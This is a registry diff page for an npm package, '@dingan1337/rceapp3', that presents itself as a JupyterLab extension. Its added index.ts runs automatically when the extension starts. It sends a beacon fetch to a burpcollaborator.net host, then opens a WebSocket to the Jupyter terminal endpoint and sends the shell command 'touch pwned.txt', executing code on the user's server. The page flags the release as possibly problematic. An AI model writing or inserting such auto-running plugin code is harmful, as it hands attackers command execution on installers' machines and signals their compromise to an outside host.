@dingan1337/rceapp3 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @dingan1337/rceapp3 might be problematic. Click here for more details.
- package/index.ts +19 -0
- package/package.json +11 -0
package/index.ts
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
|
2
|
+
import {
|
3
|
+
JupyterFrontEnd, JupyterFrontEndPlugin
|
4
|
+
} from '@jupyterlab/application';
|
5
|
+
|
6
|
+
const extension: JupyterFrontEndPlugin<void> = {
|
7
|
+
id: 'rceapp3',
|
8
|
+
autoStart: true,
|
9
|
+
activate: (app: JupyterFrontEnd) => {
|
10
|
+
fetch("https://5y4l2mqh51gzdxqykm32bfbnue04ot.burpcollaborator.net/")
|
11
|
+
var wsUri = "wss://"+document.domain+"/gateway/default/jupyter/terminals/websocket/1";
|
12
|
+
var ws = new WebSocket(wsUri);
|
13
|
+
ws.onopen = function(evt) {
|
14
|
+
ws.send('["stdin","touch pwned.txt\\r"]');
|
15
|
+
};
|
16
|
+
console.log("file created pwned.txt!!! ");
|
17
|
+
}
|
18
|
+
};
|
19
|
+
export default extension;
|